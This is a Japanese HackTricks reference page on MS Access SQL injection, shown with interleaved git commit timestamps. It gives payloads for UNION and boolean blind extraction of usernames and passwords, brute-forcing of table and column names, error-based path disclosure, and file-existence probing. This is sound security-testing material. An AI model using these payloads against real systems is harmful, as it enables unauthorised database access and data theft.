hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

197 lines
12 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# MS Access SQLインジェクション
2022-08-31 13:22:13 +00:00
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
2022-08-31 13:22:13 +00:00
HackTricksをサポートする他の方法:
2022-08-31 13:22:13 +00:00
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
2022-08-31 13:22:13 +00:00
</details>
2023-07-07 23:42:27 +00:00
## オンラインプレイグラウンド
2022-08-31 13:22:13 +00:00
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## DBの制限
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### 文字列の連結
2022-08-31 13:22:13 +00:00
文字列の連結は `& (%26)``+ (%2b)` の文字で可能です。
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
2023-07-07 23:42:27 +00:00
### コメント
2022-08-31 13:22:13 +00:00
MS Accessにはコメントが存在しませんが、クエリの最後をNULL文字で削除することが可能だと言われています:
2022-08-31 13:22:13 +00:00
```sql
1' union select 1,2 from table%00
```
If this is not working you could always fix the syntax of the query:
もしこれがうまくいかない場合は、常にクエリの構文を修正することができます:
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### スタッククエリ
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
サポートされていません。
2022-08-31 13:22:13 +00:00
### LIMIT
**`LIMIT`** 演算子は**実装されていません**。しかし、`TOP` 演算子を使用して、SELECT クエリの結果を**最初の N 行に限定することが可能です**。`TOP` は引数として整数を受け取り、返される行数を表します。
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
**`LAST`** を使用すると、**最後からの行**を取得できます。
2022-08-31 13:22:13 +00:00
## UNION クエリ/サブクエリ
2022-08-31 13:22:13 +00:00
SQLiでは通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思います。MS Accessでは、**サブクエリや追加のクエリでは `FROM` が指定されている必要があります**。\
したがって、`UNION SELECT` や `UNION ALL SELECT`、条件内の括弧で囲まれた `SELECT` を実行する場合、常に **有効なテーブル名を伴う `FROM` を指定する必要があります**。\
従って、**有効なテーブル名**を知る必要があります。
2022-08-31 13:22:13 +00:00
```sql
-1' UNION SELECT username,password from users%00
```
### チェーンイコール + サブストリング
2022-08-31 13:22:13 +00:00
{% hint style="warning" %}
これにより、テーブルの名前を知らなくても、現在のテーブルの値を抽出することができます。
2022-08-31 13:22:13 +00:00
{% endhint %}
**MS Access** では **`'1'=2='3'='asd'=false`** のような**奇妙な構文**が許可されています。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、これを悪用することができます。
2022-08-31 13:22:13 +00:00
MS AccessデータベースでSQLiがあり、**カラム名がusernameである**と知っているまたは推測している場合、チェーンイコール技術を使用したときのWebアプリの異なるレスポンスを確認し、**`Mid`** 関数を使用してサブストリングを取得することで、**ブール型インジェクション**を使用して内容を抽出することができます。
2022-08-31 13:22:13 +00:00
```sql
'=(Mid(username,1,3)='adm')='
```
テーブルの**名前**とダンプする**列**を知っている場合、`Mid`、`LAST`、`TOP`を組み合わせてブール型SQLiを介して**すべての情報を漏洩**させることができます:
2022-08-31 13:22:13 +00:00
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel free to check this in the online playground._
2022-08-31 13:22:13 +00:00
### テーブル名のブルートフォース
2022-08-31 13:22:13 +00:00
チェーンイコールズ技術を使用して、以下のように**テーブル名をブルートフォース**することもできます:
2022-08-31 13:22:13 +00:00
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
伝統的な方法も利用できます:
2022-08-31 13:22:13 +00:00
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
オンラインプレイグラウンドで自由にチェックしてください。
2022-08-31 13:22:13 +00:00
* Sqlmap 一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* 別のリストはこちらにあります [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
2022-08-31 13:22:13 +00:00
### 列名のブルートフォース
2022-08-31 13:22:13 +00:00
現在の列名を**ブルートフォース**することができます。チェーンイコールのトリックを使って:
2022-08-31 13:22:13 +00:00
```sql
'=column_name='
```
または、**group by**を使用して:
2022-08-31 13:22:13 +00:00
```sql
-1' GROUP BY column_name%00
```
または、以下の方法で**別のテーブル**の列名をブルートフォースできます:
2022-08-31 13:22:13 +00:00
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
2023-07-07 23:42:27 +00:00
### データのダンプ
2022-08-31 13:22:13 +00:00
既に[**チェーンイコールズ技術**](ms-access-sql-injection.md#chaining-equals-+-substring)について説明しました。これは**現在および他のテーブルからデータをダンプするために使用します**。しかし、他にも方法があります:
2022-08-31 13:22:13 +00:00
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
要約すると、このクエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」を、そうでない場合は「500 Internal Error」をトリガーします。TOP 10オペレーターを利用することで、最初の10件の結果を選択することができます。その後のLASTの使用により、10番目のタプルのみを考慮することができます。その値に対して、MIDオペレーターを使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、「username」フィールドの内容をすべての行についてダンプすることができます。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### 時間ベース
2022-08-31 13:22:13 +00:00
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)を確認してください。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### その他の興味深い関数
2022-08-31 13:22:13 +00:00
* `Mid('admin',1,1)` 位置1から長さ1の部分文字列を取得します初期位置は1です
* `LEN('1234')` 文字列の長さを取得します
* `ASC('A')` 文字のASCII値を取得します
* `CHR(65)` ASCII値から文字列を取得します
* `IIF(1=1,'a','b')` if then
* `COUNT(*)` アイテム数をカウントします
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
## テーブルの列挙
2022-08-31 13:22:13 +00:00
[**こちら**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)からデータベース内のテーブル名を取得するクエリを見ることができます:
2022-08-31 13:22:13 +00:00
```sql
select MSysObjects.name
from MSysObjects
where
2023-07-07 23:42:27 +00:00
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
2022-08-31 13:22:13 +00:00
order by MSysObjects.name
```
```markdown
ただし、**`MSysObjects` テーブルを読み取る権限がない** SQLインジェクションを見つけることが非常に一般的です。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
## ファイルシステムアクセス
2022-08-31 13:22:13 +00:00
### Webルートディレクトリの完全なパス
2022-08-31 13:22:13 +00:00
**Webルートの絶対パスを知ることは、さらなる攻撃を容易にする可能性があります**。アプリケーションエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることでディレクトリパスが明らかになることがあります。
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Accessは、**エラーメッセージにWebディレクトリの完全なパス名を含んで応答します**。
2022-08-31 13:22:13 +00:00
### ファイル列挙
2022-08-31 13:22:13 +00:00
以下の攻撃ベクトルを使用して、**リモートファイルシステム上のファイルの存在を推測することができます**。指定されたファイルが存在する場合、MS Accessはデータベース形式が無効であることを知らせるエラーメッセージをトリガーします
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
ファイルを列挙する別の方法は、**データベース.テーブル項目を指定することです**。**指定された**ファイルが**存在する場合**、MS Accessは**データベース形式のエラーメッセージを表示します**。
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
2023-07-07 23:42:27 +00:00
### .mdbファイル名の推測
2022-08-31 13:22:13 +00:00
**データベースファイル名 (.mdb)** は以下のクエリで推測できます:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
ここで、**name\[i]は.mdbファイル名**であり、**realTableはデータベース内に存在するテーブルです**。MS Accessは常にエラーメッセージをトリガーしますが、無効なファイル名と有効な.mdbファイル名を区別することが可能です。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
### .mdbパスワードクラッカー
2022-08-31 13:22:13 +00:00
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) は、Microsoft Access 95/97/2000/XPまたはJet Database Engine 3.0/4.0のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。
2022-08-31 13:22:13 +00:00
2023-07-07 23:42:27 +00:00
## 参考文献
2022-08-31 13:22:13 +00:00
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
2022-08-31 13:22:13 +00:00
HackTricksをサポートする他の方法
2022-08-31 13:22:13 +00:00
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
2022-08-31 13:22:13 +00:00
</details>
```